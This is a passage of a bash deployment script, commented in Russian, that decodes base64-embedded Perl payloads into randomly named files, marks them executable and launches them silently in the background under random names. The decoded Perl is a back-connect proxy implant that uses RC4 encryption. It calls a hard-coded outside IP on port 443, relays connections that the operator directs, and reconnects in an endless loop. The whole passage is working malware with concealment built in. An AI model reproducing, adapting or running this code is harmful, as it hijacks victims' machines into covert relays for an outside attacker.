LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #62 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #62 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 63 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk 